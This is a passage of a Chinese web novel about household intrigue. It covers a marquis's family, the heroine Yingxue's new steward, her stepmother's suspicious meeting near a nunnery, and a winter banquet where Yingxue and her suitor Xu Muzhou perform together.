映雪闻言，顿时兴奋得两眼放光，道：“大姐姐做的牛乳点心定会比海棠酥都要好吃。”转头就朝老夫人撒娇道：“祖母，你让府里寻两头奶牛来吧。”苏秀蓉听了直乐，逗趣道：“你这个小馋猫，一头奶牛还不够你吃的吗？”映雪不好意思地挠挠头，虚心道：“咱们府里人多嘛！”接着苏秀蓉似是想起什么，又道：“你那大丫鬟竹韵，我记得她厨艺不错吧，到时可让她到秀宁居与我一道学，以后你若是想吃点心了，随即吩咐她做倒也方便。”映雪连忙点头如捣蒜般赞同。
接着又听老夫人问道：“听说你归还了江嬷嬷的卖身契，让她走了，怎么回事？”映雪便将江嬷嬷与香菱之间的曲折缘分一五一十地向老夫人解释了一番，老夫人闻言，皱着眉头，重重地叹了口气，感叹道：“还真是孽缘！”
随后又道：“映月阁没有管事嬷嬷可不行，祖母把身边的孙嬷嬷给你吧。”
孙嬷嬷可是老夫人的陪嫁丫鬟，其夫君原是老太爷身边的随从。早些年，那随从病死后，孙嬷嬷便带着儿子在老夫人身边做事，尽心尽力地帮着管理老夫人的嫁妆。
映雪听了，眼睛顿时亮得如同夜空中的繁星，很是高兴，一把搂住老夫人的手臂，甜甜的笑道：“谢谢祖母，映雪就知道祖母最疼我了。”
老夫人见映雪如此满心欢喜地乐意接受，脸上的皱纹都笑成了一朵花，眼神中满是欣慰与慈爱。
苏映蓉随着苏沁雪去了落雪院，见苏沁雪还是一脸不快，似是劝解道：“如今府里三妹妹风光无限，大姐姐与她又一向要好，我们若是惹得老夫人不快，往后的日子只怕更是艰难了，四妹妹刚才不该那么冲动。”
苏沁雪听言，紧绷的脸色稍稍缓和，知道苏映蓉也是为她好，随即心中舒坦了一些，嘴上却依旧满不在乎道：“她如今是风光了，母亲却因她之故，被祖母责罚，若是在以前，祖母会这样对待母亲吗？还不是见她最近风光，什么事都偏着她。”接着又道，“亏老夫人还自觉自己一向公平，从无偏袒。”
苏映蓉见苏沁雪情绪依旧激烈，心中不禁一紧，生怕传出去也牵连到自己，忙假装安慰道：“老夫人也是为侯府好，现在三妹妹对侯府有益，老夫人自然偏疼她。若是哪日四妹妹也能给侯府带来荣耀，我想老夫人也定会更偏疼你。”语音刚落，就见苏沁雪眼神中闪过一道狠劲，让人不寒而栗。苏映蓉嘴角轻轻勾起，不易察觉地闪过一丝狡黠。
见苏沁雪没有说话，苏映蓉又略带羡慕地说道：“听说这次康郡王府办的冬日宴极为热闹，太子和三皇子也会去呢，可惜我一个庶女没那个福分能去见识见识。”
闻言，苏沁雪眼神中顿时了含了几分热切，随后不以为然地道：“这有何难，我带你去就是了。”说罢，就见苏映蓉一脸感动，泪水在眼眶中打转，道：“还是四妹妹真心待我，之前我去求了三妹妹，却被三妹妹一口回绝。”
苏沁雪更是得意，觉得苏映雪也不过如此，冷哼道：“她自与嘉柔郡主及清平县主来往密切，哪有把我们当过姐妹。”
苏映蓉见目的达到，脸上闪过一丝不易察觉的得意，旋即向苏沁雪告辞道：“四妹妹，那二姐姐就先回汀兰院了，你好好休息。”
苏沁雪压根没心思理会苏映蓉的离去，满心扑在了即将到来的冬日宴上。随即兴冲冲地去琢磨冬日宴的装扮，待打开首饰匣子，却发现匣子里的首饰少了不少，顿时又气恨不已。
映雪回了映月阁，让竹韵去召集了映月阁的丫鬟和婆子。不一会儿，众人便在庭院中站得整整齐齐。映雪目光缓缓扫过众人，神情严肃，开口道：“想来你们也知道了，江嬷嬷被我放籍离府的事，老夫人让她身边的孙嬷嬷过来替我管事，不日孙嬷嬷就会过来，日后你们要好好配合孙嬷嬷行事，若有阳奉阴违背着我故意惹事的，到时别怪我不顾主仆情面。”众人闻言，个个面露惶恐，纷纷低头表示不敢。
随后映雪又道：“若是有功，我自也会奖赏于你们。”
丫鬟、婆子闻言，皆齐声应道：“多谢姑娘，我等定当尽心尽力，不敢有违。”
孙嬷嬷做事周全、稳重且极有分寸。她来到映月阁没几日，就让这里大变样。
孙嬷嬷亲自示范礼仪，大家的规矩礼仪提升不少。做事也认真专注，打扫庭院连角落落叶都清理干净。映雪很满意。
另一边，苏沁雪这几日低调许多，每天早上去荣晖堂向老夫人请安，回
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来就在落雪院学习功课。老夫人对她的转变很欣慰，还当众夸赞了她。
这日，老夫人正跟秦嬷嬷于暖阁中商议侯府办宴之事，老夫人微微皱眉，问道：“侯爷升迁宴的请贴可都准备好了？这几日秀蓉跟在你身后做事可还稳当？”秦嬷嬷忙笑着赞道：“大姑娘行事极具风范，请贴之事也是大姑娘一手安排，事事都考虑得周全细致，奴婢瞧着，大姑娘定是个管家好手。”老夫人闻言，脸上也流露出欣慰之色，很是高兴，道：“难为她了，父母不在身边，却能如此懂事能干。”
秦嬷嬷赶忙奉承道：“都是老夫人教养的好。”接着，秦嬷嬷脸上颇有些犹豫，迟疑道：“只是这宴会，当家主母不在，会不会令外人多疑？”老夫人闻言，顿时怒上心头，猛地一拍桌子，怒道：“说不定她就是看准了这宴席缺了她会遭人闲话，非要去那云栖庵呢，好让我派人去请她，给她台阶下。我偏不如她愿，七哥才六岁，竟也狠心带着他去，难不成放在府里，我这个亲祖母还会虐待他不成。”
秦嬷嬷见老夫人生气，正想开口安慰，忽然，一阵略显急促的脚步声从门外传来。紧接着，就见一丫鬟脚步匆匆地绕过屏风，微微欠身，向老夫人禀告道：“老夫人，李爷过来了。”
话音刚落，就见永安侯身边的随从李福大步迈进屋内。脸上洋溢着激动的神情，忙不迭地对老夫人拱手行礼，高声道：“老夫人，大喜啊！二老爷被调职回京，现任通政司参议。二老爷一行人已经在回京的路上了，侯爷让小的跟您说，让府里提前准备把西院收拾好。”
老夫人闻言，瞬间喜上眉梢，激动地问道：“二老爷是哪一日出发的？还有几日能到京城？”
李福微微低头，思索了片刻，才回道：“二老爷是出发前一天给侯爷来信的，信件快马加鞭也需要五日，二老爷一行人走得慢些，估摸着大约十天左右吧。”
秦嬷嬷在一旁听着，脸上也露出了欣喜的笑容，赶忙说道：“若是赶巧，正好能赶上侯府的升迁宴，二夫人还能搭把手。”
闻言，老夫人脸上的笑容也格外灿烂，连连点头，笑道：“如此甚好！”
很快，二老爷调职回京的事就在府里迅速传开。苏秀蓉得知后，更是高兴得不能自已，那喜悦之情溢于言表。每日除了花费些许心思在管家之事上，其余的时间几乎都用来潜心研究牛乳点心，一心想要报答映雪的提携之恩。就连自己的嫁衣都被排在了后头，身边的丫鬟见此，忍不住打趣道：“看样子，这姑爷都要排在三姑娘后头了。”苏秀蓉听闻，不由得嗔怒起来，娇嗔地瞪了丫鬟一眼，说道：“就你这小蹄子嘴贫！”
秀宁居一片欢声笑语。
消息也传到了云栖庵。
50. 端倪
气得大夫人怒目圆睁，玉手一挥，猛地将案桌上的茶杯狠狠推翻到地。“砰”的一声巨响，在这安静的屋内骤然炸响，把正在玩九连环的苏敏皓吓得浑身一抖，随即哇哇大哭起来。小小的身躯不停地扭动着，边哭喊边用两腿使劲地蹬，“娘，我要回府，我就要回府，我不要待在这里。”那哭声撕心裂肺，仿佛受了天大的委屈。
大夫人见状，心疼得眼泪都快出来了，赶忙一把抱起苏敏皓，轻声哄道：“好好好，娘过两日就带你回府，敏哥儿乖。”可苏敏皓哪里肯依，继续哭闹着：“我不要过两日，我要现在就回府。”
大夫人无奈，眼珠一转，又说道：“晚点娘让人带你去骑马，骑马最好玩了，敏哥儿想不想去？”苏敏皓一听，立马止住了哭声，眼里闪着兴奋的光芒，破涕为笑，欢呼道：“我要骑马。”
大夫人见苏敏皓终于安静下来，这才稍稍松了口气。随后，她转头看向身边的王嬷嬷，问道：“敏哥儿的膳食可准备好了？”王嬷嬷赶忙点头，恭敬地回道：“和前几日一样，都是山下村民送上来的鲜活的鸡鸭，还有鸡蛋。奴婢见七少爷这几日食量见涨，可见他喜欢。”大夫人听了，放心地点了点头。
可随而，大夫人又想到了府里的苏沁雪，不由得皱起了眉头，忧心忡忡地说道：“沁雪这几日性子都磨平了，可见是受了委屈。”王嬷嬷心里却觉得这对四姑娘来说或许是件好事，毕竟四姑娘平日里太过浮躁，沉不住气，若是这样下去，迟早会栽跟头。想到此处，王嬷嬷没敢应大夫人的话，只是跟着心疼地点了点头。
大夫人想到自己如今的处境，只觉得心头像是压了一块巨石，烦闷不堪。随即，她咬了咬牙，下定决心道：“嬷嬷，替我把那封信送出去吧。”王嬷嬷闻言，脸色瞬间变了变，眼神中闪过一丝担忧，但随即叹了口气，应下。她深知夫人决定的事一向不容反驳，若是一味地劝阻，反而会令夫人厌弃。
只是有些事情，多做多错，好不容易断了，王嬷嬷总觉得心里猛地一突，仿佛有什么不好的预感即将来临。
云栖庵在京城的西边，离凌云书院不远，只隔着一个山头。
苏璟皓身着劲装，手持弓箭，与几位同窗在这山林中穿梭，目光锐利地搜索着猎物的踪迹。
落叶在脚下发出簌簌的声响，寒风拂过，令几人忍不住打了个哆嗦。然而，他们在这山林中搜寻许久，却是毫无收获。
“不是说有人在这山上见到白狐吗，怎的连一只野兔都不见！”一位同窗嘟囔着。
“咱们再往远处走走，说不定能有发现。”苏璟皓皱着眉提议道。
苏璟皓想猎只白狐送给妹妹，不由得心中更热切了几分。
几人点头，步伐加快，向着更深处走去。不知不觉，他们跨过了一个山头。
站在山腰，纵目远望，竟把不远处的云栖庵尽收眼底。
忽然，苏璟皓不经意间瞥见一个身影，再定眼细看，竟是继母大夫人，只见大夫人身着裘皮披风，行色匆匆，身旁仅跟着王嬷嬷一人，举止间透着几分不同寻常。苏璟皓心中顿生疑惑，站着没动，眼睛一直紧紧地盯着，随后便见到一位气质斐然的中年男子在其后面慢慢走了出来，望着大夫人的背影出神。苏璟皓似是想到了什么，脸色骤变，随即铁青，愤怒地正要抬腿追过去查看。
“璟皓兄，快，真的有白狐，正往你那方向跑去了，你仔细别让它逃了！”同窗的呼喊声在身后的寒风中传来，带着急切与兴奋。
苏璟皓身形一滞，脸上闪过一丝犹豫，待再转过头去，大夫人及那位中年男子的身形都消失不见，仿佛从未出现过一般。他咬了咬牙，最终还是压下心中的怒火，转身与同窗一起参与到那猎狐之中。
功夫不负有心人，经过一番激烈的追逐与围堵，几人总算把那只白狐活捉住。
苏璟皓的脸上露出一丝欣慰的笑意，说道：“几位兄弟，能否把这只白狐让给我，我请几位兄弟喝酒。”
宣威将军之子李逸风一脸戏谑，挑眉打趣道：“璟皓兄，莫不是要把这白狐送去给心上人，那这一顿酒可不够。”
苏璟皓瞬间涨红了脸，立即怒道：“呸，胡言乱语什么，我是要送给我妹妹。”
几人听言，眼睛顿时亮了起来，兴趣愈发浓厚，气氛瞬间高涨起来。赵宇轩抢先说道：“可是那巾帼不让须眉的慧敏郡主？璟皓兄，你早说嘛，妹妹还喜欢什么？我们再去猎。”边说边摩拳擦掌，跃跃欲试。
苏璟皓无奈地摇摇头，叹气道：“那是我妹妹，你们可别胡闹。”
众人相视一眼，哈哈大笑起来，李逸风拍着苏璟皓的肩膀，笑道：“你妹妹就是我们妹妹，怎么？璟皓兄还吃醋不成？”一时间，山林中充满了爽朗的笑声，惊起一群飞鸟。苏璟皓看着这群好友，脸上的无奈也化作了一丝笑意，心中却是又好气又好笑。
苏璟皓刚回到侯府，就提着白狐去了映月阁，刚踏入屋子，映雪便笑着迎了上来，只见大哥手中提着笼子，里面一只白狐睁着一双水汪汪的眼睛，似是有灵性般，楚楚可怜地看着她，映雪心中瞬间化作一滩柔水，忍不住伸出纤细的手指轻轻抚摸着白狐的皮毛。随后扭头叫了竹韵准备食物过来。
映雪满脸惊喜地问起苏璟皓道：“大哥，这只白狐从哪来的？我见它似是有些灵性呢。”苏璟皓闻言，疑惑地向白狐看去，并未发现有何
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异样。他当时只是想着女孩们大都喜欢毛茸茸的动物，想来妹妹也定会喜欢，便随口说道：“在书院附近的山上猎到的，狐狸野性难驯，你养着它，可要小心些。”随而，他想到大夫人，便皱眉问道：“大夫人可是去了云栖庵？”
映雪点了点头，把大夫人因药方被罚之事一五一十地说给了苏璟皓听。苏璟皓闻言，顿时气得脸色涨红，双目圆睁，怒道：“真是无耻至极。”接着又追问道：“祖母罚她在府里闭门思过不就行了吗？怎么罚她去云栖庵了？”映雪不以为然地撇撇嘴，说道：“哪里是祖母要她去云栖庵，是她自己主动提的，还把七弟也带走了，祖母险些被她气出病来。”
语音刚落，就见苏璟皓手中的杯子“咔嚓”一声突然碎裂，碎片散落一地。脸色也瞬间发黑。映雪吓了一跳，赶紧上前查看，好在苏璟皓手心无恙。映雪皱着眉头，嗔怪道：“大哥，你怎么这么不小心？这瓷片要是把手心给割破了，可没那么快能好。”苏璟皓忙宽慰道：“是大哥一时分心，以后会注意。”
映雪觉得今日的大哥似乎对大夫人过于关注，往日，大哥就当没她这个人似的，便好奇问道：“大哥，你无端地问起她做甚？”苏璟皓见妹妹这般警觉，身子不由一僵，略为紧张地说道：“我只是见她身为永安侯府主母，丝毫不以侯府利益为先，显然没把父亲放在心里，有些气恼罢了。”
映雪听言，想到父亲上辈子去世之后，大夫人的冷漠态度，不禁冷哼一声道：“我平日里也不见她有多关心爹爹。”
苏璟皓闻言，瞬间从心底升起一丝寒意，便有些坐不住，向映雪说道：“妹妹，大哥想起来还有事要问父亲，我先走了。”接着又道：“最近天寒，似是要下雪，你就好好待在府里，不要往外跑了。”说罢，就匆匆起身往外走去。
待苏璟皓的身影消失不见，映雪这才懊恼地跺了跺脚，说道：“大哥走的这般急干嘛，我还想跟他说二哥要回来，问他凌云书院的事呢。”
竹韵笑着安慰道：“大少爷这几日都在府里，姑娘要问他哪日都可以。”
映雪这才想起，随而点了点头。
眼见着康郡王府的冬日宴马上就要到了，这可是映雪被封为慧敏郡主后的首次亮相，老夫人对此也有几分重视。此刻，厅内几个孙女亭亭而立，个个如花似玉，气质迥然，老夫人心里十分满意，嘴角含着笑问道：“冬日宴的装扮和才艺可都准备好了？”
映雪正要回话，忽然，从屏风处传来一阵嘈杂之声。映雪下意识地转头看去，只见一丫鬟脚步匆匆，神色慌张地从屏风处跑了过来，到了老夫人跟前，忙恭恭敬敬地朝老夫人福身道：“老夫人，宫里有赏赐到。”
51. 冬日宴
老夫人闻言，心中有些疑惑，以为是映雪得了赏赐，当下便带着映雪几人匆匆赶往前厅。到了之后才知晓是宫里的荣太妃赐给大夫人的，口谕称大夫人在云栖庵对荣太妃有护救之功，召其入宫谢恩。
老夫人脸上的神情先是一愣，随即调整好情绪，赶忙让秦嬷嬷给两位公公打赏，笑着替大夫人接过旨意。
待公公离开，老夫人的笑容瞬间消失，脸上闪过一丝复杂的神情。
苏沁雪听到这个消息，瞬间惊喜万分。
映雪则微微皱起眉头，上辈子大夫人救太妃有功是在父亲过世后，怎的今世提前了这么多？她心中只觉怪异。
老夫人回到荣晖堂，已没了心思过问冬日宴之事，便让映雪几人退下，而后与秦嬷嬷商议大夫人之事，说道：“既然她有这运气，得太妃召见，你就派个婆子去云栖庵一趟，通知她一声。”秦嬷嬷犹豫道：“要不要奴婢亲自去一趟？”老夫人果断摇头，坚决道：“不必，我既差了人去请，便是给了她台阶。要是她真不识趣，太妃怪罪，我自会亲自去向太妃请罪。”
秦嬷嬷感慨道：“大夫人难得去云栖庵，竟能碰上出宫的荣太妃，还救了她，想来大夫人也是有些福气的。”余光瞥见老夫人听进去了，接着劝道：“老夫人，您还是再给大夫人一次机会吧，想来经过这次之事，大夫人也会变得稳重些。”
老夫人沉默不语。
翌日清晨，大夫人就从云栖庵回了侯府，带着苏敏皓一同去向老夫人请罪。大夫人朝着老夫人直直下跪，边擦着泪边说道：“老太太，是儿媳一时猪油蒙了心，被儿媳那不争气的哥哥哄骗，这才犯了错，请老太太原谅。儿媳以后定会好好听您教诲，绝不再犯这样的糊涂，还望老太太给儿媳一个改过自新的机会。”
一旁的苏敏皓见母亲被老夫人罚跪，小嘴一撇，顿时“哇”地哭了起来，朝着老夫人道：“祖母，你是不是都不要敏哥儿了，敏哥儿天天想念祖母，都见不到祖母。”老夫人闻言，心顿时像被揪了一下，疼得不行，赶忙朝秦嬷嬷使了个眼色。秦嬷嬷会意，连忙上前把大夫人扶了起来，并把苏敏皓牵到老夫人身边。
老夫人立即搂住了苏敏皓，柔声哄道：“祖母怎么会不要敏哥儿呢，敏哥儿可是祖母的心头宝，祖母这几日也天天想着敏哥儿呢！”苏敏皓闻言，小脸瞬间由阴转晴，开心起来，紧紧依偎在老夫人的怀里。
老夫人看向大夫人，神色平静地道：“既然你认错，那我便再给你一次机会，你好自为之。”
大夫人闻言，如蒙大赦，立即连连点头，道：“儿媳明白。”
许牧舟最近出手惩治齐府，手段凌厉，直搞得齐府上下焦头烂额，一片混乱。然而，齐府众人绞尽脑汁，却还没找到这灾祸的源头。无奈之下，齐府之人只得跑去宫中向齐贵妃求救。
齐贵妃闻此，亦是心急如焚，不得已求见皇上。那话语之中，言外之意竟是怀疑此事乃太子所为。皇上听闻，当即过问太子。太子因此大为恼怒，警告许牧舟收敛行事。
许牧舟这才暂且腾出空来，约了映雪在“云间雅阁”见面。
见映雪心不在焉，许牧舟慵懒笑道：“怎么心不在焉的？这几日没见，有没有想我？”映雪闻言，瞬间被许牧舟的厚脸皮惊到，恶狠狠地瞪了他一眼，嗔道：“脸皮真厚，少自作多情！”许牧舟却不以为意，反而凑近她，在她耳边轻声呢喃：“可我想你想得紧呢。”映雪的脸瞬间如晚霞般滚烫，别过头去不再看他。
许牧舟轻轻一笑，“怎么这般容易害羞！”
映雪强压着羞意，假装镇定，转过来望着许牧舟，想到他也不算是外人，便疑惑着道：“我只是好奇大夫人怎么会这么好运，在云栖庵救了荣太妃，竟这么巧。”
许牧舟自然也知道大夫人之事，便含笑道：“想不想让我帮你查探？”映雪闻言，立即瞪着一双鹿眼，目光灼灼地盯着许牧舟看了过来。许牧舟只觉心中一阵酥麻，想要在那双鹿眼上舔上一口，随即声音略带沙哑，逗趣道：“先叫一声夫君来听听。”
映雪顿时脸红如霞，随即抬起右脚就往许牧舟的脚背上狠狠一踩。自己脚都踩麻了，也不见许牧舟吱一声，气得就往桌子上一趴，竟嘤嘤哭了起来。
许牧舟顿时着急，忙哄道：“我都没喊疼呢，你怎么还哭了起来？”
映雪伤心道：“定是我太好欺负了，你总要欺负我。”
许牧舟闻言，顿时觉得好笑，柔声道：“傻丫头，我哪里舍得欺负你，你可知，在遇到你之前，我从不曾想过要娶妻，在遇到你之后，只希望你快点长大，不要让我等太久。”接着又恍惚道，“我总有一种感觉，我似是等了你一辈子那么久。”
映雪想到上辈子在她死之前，都未曾听到过许牧舟娶妻，或许他真等了她一辈子，心中竟有些感动，抬起头，擦了擦眼泪，含着羞意道：“爹爹已经问过我与你之间的事了，等过了这段时日，你差人过来提亲吧。”
许牧舟闻言，立即喜上眉梢，激动地一把抱住了映雪。映雪这次没推开，只是将头轻轻靠在他的怀里，脸上还带着未干的泪痕，却也浮现出一抹娇羞的笑意。
冬日宴至，映雪带着苏秀蓉，苏沁雪带着苏映蓉，四人分别上了侯府早早准备好的两辆马车，一路向着康郡王府而去。本来苏秀蓉不愿参加，可老夫人却表示，这乃是苏秀蓉在出阁前参加的最后一次闺中宴，应当去好好感受一番，还加以鼓励，苏秀蓉这才应下。
冬日宴，实则就是未婚
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男女的一场盛大盛宴。在这一日，若是能在宴会上表现得出类拔萃，那对于自己未来的婚事可是有着极大的好处。正因如此，不管是各府的少爷，还是各府的姑娘，心中都多了几分重视。
映雪因已与许牧舟相互许诺，苏秀蓉也已然订亲，所以她们两人只是把这场宴会当作是普通的聚会，并未放在心上。此时的马车里，充满了欢声笑语。
而另一辆马车上的气氛则有些凝重。苏沁雪坐在那里，眼神空洞，心不在焉，不知在想些什么。苏映蓉则双手紧握，神情紧张，额头上甚至冒出了细微的汗珠。
待马车停下，四人纷纷下了车。只见康郡王府门外车水马龙，好不热闹。
清平县主差了丫鬟在门外侯着，待见到永安侯府的马车，丫鬟便赶忙上前向映雪行礼，而后把映雪一行人带到了清平的院子。
映雪刚踏入屋子，就见嘉柔身着一袭淡粉色的锦缎袄裙，朝她奔来。待映雪定睛细看，只见那袄裙上绣着朵朵绽放的梅花，栩栩如生，仿佛散发着幽幽梅香。外披一件雪白的狐皮披风，毛绒绒的领口簇拥着她那娇俏的脸蛋，愈发显得甜美可爱。
映雪忍不住上手捏了捏嘉柔的脸蛋，笑着称赞道：“我还以为见着了梅花仙子呢！”
嘉柔拉着映雪进了屋子，娇嗔道：“我就算是打扮得再美，也没你美。”接着又在映雪脸上仔细打量一番，嘀咕道：“我怎么瞧着每见你一次，你这脸蛋似是更好看了呢。”说着，还问起一旁的清平道：“清平，你瞧是不是？”清平随即也在映雪脸上打量一番，点头道：“确实没错，映雪长开了，越发漂亮了。”说得映雪害羞不已，双颊绯红。
嘉柔两眼在眼眶里一转，打趣道：“映雪姐姐，莫不是你还私藏着效果更好的美颜丸，偷偷藏着自己用吧？”映雪猜测可能与玉佩有关，随即无奈笑道：“等有了那么厉害的美颜丸，我就只给你用，只让你一人更美。”逗得嘉柔咯咯直笑。
清平随即对两人说道：“告诉你们一个好消息。”两人闻言，立马将目光投向清平，清平轻笑道：“之前宫里的嫔妃服用了凝香居的香丸，对其效果大为称赞，把香丸引进了内务府，内务府的管事已在凝香居对接。”两人闻言，脸上也都十分兴奋。
随后，众人又聊起了宴会之事，苏沁雪及苏映蓉竖起了耳朵仔细听着。清平提醒道：“这次的宴会与往日的可不太一样，有些新意。”嘉柔好奇地追问道：“有何不一样？”清平卖着关子，笑道：“到时你们就知道了。”嘉柔故作生气道：“好你个清平，连我们都不告诉。”映雪浅笑着道：“左右不都是那才子佳人才艺比试什么的，说不定这次上台的人从一人换成两人。”清平闻言，惊奇道：“你怎么知道？”映雪只是含笑不语。
52. 出事
随即清平的丫鬟匆匆进来禀告，道：“县主，宴会就要开始了，郡王妃差人来喊你们过去。”
说罢，清平便领着映雪几人朝寒香院行去。
映雪向身边的绿绮交待道：“你去瞧瞧，大哥来了没有？”绿绮点头应下，匆匆朝着大门处奔了去。
宴会设在寒香院的暖阁中，这寒香院果真是实如其名，刚踏进院子，便有阵阵香气扑鼻而来。
入院处，有个管事正忙着登记来参加宴会的公子们和闺秀们抽中的表演项目。
至此，大家方才知晓今年的冬日宴与往年大不相同。
此次不但男女要同台表演，就连表演项目都是通过抽签来决定的。
映雪不由乐了，未曾想到这次的宴会竟跟上辈子有别，毕竟上辈子仅是男女同台，并未要求表演项目依抽签而定。
有些大家闺秀都急得快要哭出来了。
嘉柔运气不佳，抽中了作诗，而映雪更是倒霉，竟抽中了女红，她不由得嘴巴一抽，随后含笑质疑道：“清平，你确定不是故意作弄我们吧？我怎么瞧着你像是想看我们的笑话呢。”
嘉柔也在一旁连声附和。
清平深深地看了一眼映雪，浅笑道：“说来，这次宴会还是受你启发呢。你既会制香又会炼药，我以前哪曾想过，说不定这京城的公子和闺秀们也同你一般，深藏不露。”映雪闻言，简直要被气笑了。
苏沁雪却暗自高兴，只因她抽中了跳舞。
待几人都一一落座，好些夫人听到消息也是一怔，忙问起郡王妃，道：“郡王妃，为何今年的表演竟变化这般大？”
郡王妃揉了揉太阳穴，道：“太后听说了府里要办宴会，便提议道，既是为公子们和闺秀们相看所设，自然也要让他们多多相处，故而便把这次的表演改为男女同台，主要是看两人之间的默契。”接着又道：“至于抽签，则是清平所想。往年不管是哪个府里的宴会，大家表演的项目皆是一样，想来大家也都厌倦了。运气有时也是实力的一部分，所以今年就换成了抽签。”
这番解释，众位夫人皆无话可说。
所谓真正的贵女，便是琴棋书画、诗词歌赋、女红厨艺皆样样精通。你总不能告知他人，你仅会一样吧。
因是男女同台，故而表演皆是以适合双人共同完成的项目为主，比如双人舞剑，诗词联对，琴箫合奏，书画合作等等，总之，需在抽中的项目基础之上，进一步增进默契，使之完美融合为一体。
舞台上，苏沁雪与建安伯府公子正在表演。苏沁雪身着粉裙，舞步轻盈似燕，身姿婀娜如仙，引人注目。
建安伯府公子手持玉箫，起初箫声清婉，与苏沁雪的舞姿相得益彰。
然而，箫声突然高亢，打乱苏沁雪节奏，她瞬间慌乱，但很快调整了步伐，仍保持优美直至结束。
也被台下的夫人纷纷夸赞，道，“永安侯府好福气啊，假以时日，想来这苏四姑娘也必定成为京中翘楚。”
嘉柔朝着身边的映雪说道：“你这妹妹倒是有几分本事。”
映雪含笑点了点头，可心里却急得不行。这表演眼瞅着都快结束了，绿绮怎么还没过来？莫不是大哥出什么岔子了？这般想着，她的眉头不自觉地蹙了起来。转瞬又想到自己一会儿的表演，瞬间心塞得厉害，罢了，丢脸就丢脸吧。
就在这时，台上的总管大人高声喊道：“邀请慧敏郡主上台！”映雪一时没反应过来是在叫她，呆坐在那儿没动。嘉柔赶忙用手推了推她，揶揄道：“映雪姐姐，虽然你女红不怎么样，也不至于要弃赛逃跑吧？”映雪闻言，脸颊“唰”地一下红透了，随后狠狠地瞪了一眼嘉柔道：“咱俩就大哥别说二哥了。”
待映雪款步上了舞台，却迟迟不见男方上台，她满心疑惑。就在这时，只见许牧舟衣袂飘飘，飞身一纵，潇洒地立在了舞台中央。映雪心生好奇，明明前面一直没见到许牧舟参赛，怎么突然他就上台了？
台下的夫人见舞台上的映雪和许牧舟，眼神一亮，赞道：“真是好一双璧人啊，男的俊女的俏，站在一起就令人赏心悦目。那身姿、那气质，宛如从画中走来一般。”
嘉柔见状，也兴冲冲地对身边的清平说道：“我以前怎么没发现映雪姐姐和牧舟哥哥竟这般相配呢。”清平闻言，再看向台上的两人，不由地眉毛一挑，也跟着点了点头，随后耐人寻味地笑道：“或许还有我们不知道的事呢。”
映雪见许牧舟的表演是作画，随即眼神一亮，似是想到了什么绝妙的主意。虽然她女红不怎么样，但画画可是拿手好戏。
映雪决定不再遵循传统的女红艺技，她以线为笔，在舞台上轻扫一眼台下的观众，便开始绘制一幅宴会的场景。
随后目光专注，先挑起一根金线，轻巧地勾勒出宴会桌轮廓，线条流畅优美。又拿起五彩丝线，交织出桌上的佳肴，色彩鲜艳诱人。
映雪的手指如灵动舞者，时而快时而慢。用蓝色丝线描绘出宾客华丽服饰，细腻纹理仿佛能感受布料质感。
渐渐地，一幅热闹非凡的宴会图展现出来，栩栩如生。
许牧舟则是以映雪入画，画中的映雪，线条流畅自然，那灵动的姿态仿佛下一秒就要从画中轻盈跃出。她微微上扬的嘴角，带着一抹不易察觉的俏皮，眼神中的光芒犹如繁星闪烁，璀璨夺目，活灵活现得好似真人一般。
待两人的作品呈现给众人，全场先是陷入了一片寂静，紧接着就发出一阵惊叹声，“真不愧是才思敏捷的敏慧郡主，竟能想出以女红作画的巧思，且画功还如此了得，真是令人折服。”又见了许牧舟的画作，又赞叹道：“景阳侯世子画的慧敏
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郡主在台上绘画的神情就如真人一样，想来这两位必定是今日当之无愧的魁首。”
待映雪回到席位，嘉柔正想向她八卦与许牧舟之事，却见绿绮急匆匆地跑了过来，喘着气，对映雪说道，“姑娘，大少爷那边出了点事，差了人让你赶紧回府。”映雪听闻，瞬间脸色苍白，急急起身，向嘉柔和清平匆匆告辞，苏秀蓉见映雪神色慌张，也忙不迭地跟了出来，也要一起回府，被映雪劝着留下来照看苏沁雪和苏映蓉。
待映雪一路快马加鞭赶回侯府，顾不上整理略显凌乱的发丝，焦急地问了下人，得知苏璟皓在清风院，便如一阵风般朝清风院奔了过去。
刚走至屋外，就听见里面传来一声凄厉的呼痛声，映雪心下一紧，也顾不得什么礼数，竟直直冲了进去。
待见了屋内情形，映雪瞬间傻眼，只见一位公子正痛苦地趴在苏璟皓床上。脸色苍白如纸，嘴里还不停地哼哼着，仿佛一只受伤的小兽在呜咽。受伤的手臂无力地耷拉着，关节处高高肿起，活像一个熟透的发面馒头，触目惊心。苏璟皓和另一位公子一人拉着他一只手臂，神情紧张又小心翼翼，动作却显得有些笨拙。
就在这时，两人忽然瞧见了映雪，都不约而同地手上一松，手中的手臂瞬间滑落了下去。疼得差点让趴在床上的李逸风蹦了起来，他扯着嗓子瞬间大喊道：“你们是想要谋杀我啊！”
接着便听到苏璟皓略带惊讶的声音传来，“妹妹，你怎么过来了？”惊得李逸风赶紧把头埋进了枕头里，恨不得立马找个地洞钻进去。
映雪细细打量了苏璟皓一番，见他脸上只有些轻微的擦伤，随即紧绷的神情稍稍一松，嗔怪道：“不是大哥差了人去喊我过来的吗？害我宴会中途就火急火燎地赶了回来。”苏璟皓挠了挠头，一脸尴尬道：“我只是差了人过去跟你说一声，我这边出了点事，让你不要等我，宴会完了就早些回来。”映雪听言，有些无奈地叹了口气，说道：“许是传话传着就变了味。”紧接着又道，“那我先回去差人送几瓶药来，晚点再问大哥发生的事。”说罢，又朝赵宇轩温婉地笑了笑，赵宇轩脸红回应，映雪又朝床上的李逸风看了一眼，这才转身退了出去。
映雪回了映月阁，便让竹韵送了药去清风院，然后换了一套舒适的衣裙。孙嬷嬷就带着白芷送午膳过来。
侯府嫡女份例是三菜一汤，孙嬷嬷来映月阁后，因老夫人想让她为映雪调理身体，启用了映月阁小厨房，菜色更精致了。桌上有糖醋排骨、时蔬虾仁、醋溜豆芽和鸡汤，映雪见了胃口大开，顺便问起孙嬷嬷道：“孙嬷嬷在映月阁可还习惯？”
孙嬷嬷笑道：“托姑娘的福，老奴一切都好。”说着给映雪盛了碗鸡汤。
待映雪用完膳，刚落下碗筷，绿绮就匆匆过来禀告道，“姑娘，二姑娘在宴会上出了事。”
53. 调查
